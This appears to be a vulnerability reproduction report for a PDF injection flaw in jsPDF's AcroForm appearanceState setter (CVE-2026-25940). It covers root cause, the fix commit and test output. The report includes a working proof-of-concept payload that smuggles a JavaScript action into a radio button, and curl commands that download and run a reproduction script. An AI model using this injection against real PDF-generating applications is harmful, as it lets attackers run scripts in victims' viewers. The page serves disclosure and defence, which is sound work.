Human
Machine
REPRO-2026-00102 HIGH
Verified
jsPDF: PDF Injection in AcroForm RadioButton allows JS Execution
jspdf (npm) Feb 19, 2026
What's the vulnerability?
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.
AcroformChildClass.appearanceState
Example attack vector:
import { jsPDF } from "jspdf"
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
doc.save("test.pdf");
Root Cause Analysis
# Root Cause Analysis: jsPDF PDF Injection Vulnerability
## Summary
jsPDF versions prior to 4.2.0 contain a PDF injection vulnerability in the AcroForm module. The `appearanceState` property setter in `AcroFormRadioButton` and `AcroFormCheckBox` classes does not properly escape user input, allowing injection of arbitrary PDF objects including JavaScript actions. An attacker can inject malicious JavaScript code that executes when a user interacts with the PDF document, specifically by manipulating the appearance state string to include additional PDF dictionary entries.
## Impact
- **Package:** jsPDF (npm)
- **Affected Versions:** `< 4.2.0`
- **Fixed Version:** `4.2.0`
- **CVE:** CVE-2026-25940
- **GHSA:** GHSA-p5xg-68wr-hm3m
- **CVSS Score:** 8.1 (High)
- **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
### Risk Assessment
This vulnerability allows an attacker to:
- Inject arbitrary JavaScript code into generated PDF documents
- Execute malicious scripts when victims interact with the PDF (e.g., hovering over form elements)
- Potentially exfiltrate data, manipulate the PDF viewer, or perform other malicious actions
## Root Cause
The vulnerability exists in the `appearanceState` property setter in `src/modules/acroform.js`:
```javascript
Object.defineProperty(this, "appearanceState", {
enumerable: true,
configurable: true,
get: function() {
return _AS.substr(1, _AS.length - 1);
},
set: function(value) {
_AS = "/" + value; // VULNERABLE: Direct concatenation without escaping
}
});
```
The setter directly concatenates user input with a "/" prefix without any validation or escaping. This allows an attacker to craft a value that:
1. Starts with a valid appearance state (e.g., "Off")
2. Contains additional PDF dictionary entries (e.g., `/AA << /E << /S /JavaScript /JS (...) >> >>`)
3. Results in a malformed but parseable PDF object
### Fix Commit
The vulnerability was fixed in commit [71ad2db](https://github.com/parallax/jsPDF/commit/71ad2dbfa6c7c189ab42b855b782620fa8a38375) by:
1. Removing leading "/" if present
2. Using `pdfEscapeName()` to properly escape the input
3. Prepending "/" after escaping
```javascript
set: function(value) {
var name = value === undefined ? undefined : value.toString();
if (name.substr(0, 1) === "/") {
name = name.substr(1);
}
_AS = "/" + pdfEscapeName(name);
}
```
## Reproduction Steps
### Using `repro/reproduction_steps.sh`
The reproduction script performs the following steps:
1. **Clone jsPDF repository** at vulnerable version (v4.1.0)
2. **Install dependencies** (`npm install`)
3. **Create test script** that:
- Creates a new PDF document with jsPDF
- Adds an AcroFormRadioButton with a child option
- Sets `appearanceState` to a malicious payload: `"Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>"`
- Generates PDF output and checks for injected JavaScript
4. **Verify vulnerability** by checking if malicious JavaScript is present in the PDF output
### Manual Reproduction
```javascript
const { jsPDF } = require('jspdf');
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
// Inject malicious JavaScript action
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
const pdfOutput = doc.output();
// Check: pdfOutput.contains('/AA << /E << /S /JavaScript')
```
## Evidence
### Log Files
- `/workspace/logs/reproduction.log` - Test execution output
- `/workspace/logs/pdf_snippet.txt` - Excerpt showing injected JavaScript in PDF
- `/workspace/logs/malicious_test.pdf` - Generated malicious PDF file
### Key Evidence Excerpts
From the generated PDF (pdf_snippet.txt):
```
/AS /Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>
```
This shows the malicious JavaScript action (`/AA << /E << /S /JavaScript /JS (...) >> >>`) was successfully injected into the PDF structure. The `/AA` key represents an Annotation Appearance dictionary, `/E` represents an Enter event, and the JavaScript action is configured to execute `app.alert('XSS')` when the user hovers over the radio button.
### Test Results
```
Testing jsPDF PDF Injection Vulnerability...
Version: 4.1.0
--- Vulnerability Test Results ---
Malicious payload embedded: true
Alert code present: true
[CONFIRMED] Vulnerability exists: JavaScript payload is embedded in the PDF
```
## Recommendations / Next Steps
### Immediate Actions
1. **Upgrade to jsPDF 4.2.0 or later** - The vulnerability is patched in v4.2.0
2. **Sanitize user input** - If immediate upgrade is not possible, validate and sanitize any user input before passing it to the `appearanceState` property
### Input Validation Pattern
```javascript
// Example sanitization before the fix
function sanitizeAppearanceState(value) {
// Remove any PDF dictionary markers
return value.replace(/\/[^\s]+/g, '').trim();
}
```
### Testing Recommendations
1. Add regression tests that verify the `appearanceState` setter properly escapes input
2. Test with various PDF injection payloads including:
- `/AA << /E << /S /JavaScript /JS (...) >> >>` (Enter event)
- `/AA << /D << /S /JavaScript /JS (...) >> >>` (Down event)
- Other PDF action types
### Additional Notes
#### Idempotency Confirmation
The reproduction script has been tested twice consecutively and produces consistent results:
- First run: Successfully cloned, built, and confirmed vulnerability
- Second run: Successfully used cached repository and confirmed vulnerability
Both runs confirmed the vulnerability with exit code 0.
#### Affected Properties
Based on the fix commit and advisory, the following properties are affected:
- `AcroFormRadioButton` child elements' `appearanceState` property
- `AcroFormCheckBox` `AS` property
Both properties use the same vulnerable setter pattern that was fixed by the `pdfEscapeName()` addition.
#### Limitations
- The reproduction demonstrates the injection capability; actual JavaScript execution requires opening the PDF in a viewer that supports JavaScript (e.g., Adobe Acrobat Reader)
- The vulnerability requires user interaction with the malicious PDF (hovering over the form element)
One Command
Verify with pruva-verify
Run the Pruva CLI to automatically fetch and execute the reproduction script.
pruva-verify REPRO-2026-00102 or
pruva-verify GHSA-p5xg-68wr-hm3m or
pruva-verify CVE-2026-25940 Install:
curl -fsSL https://pruva.dev/install.sh | sh Or Run Manually
1
Download the script
curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00102/artifacts/reproduction_steps.sh 2
Make executable
chmod +x reproduction_steps.sh 3
Run the script
./reproduction_steps.sh Run in a VM, container, or disposable environment. This exploits a real vulnerability.
How Pruva Reproduced This
Watch the AI agent's step-by-step process.
Loading session...
Artifacts
No artifacts available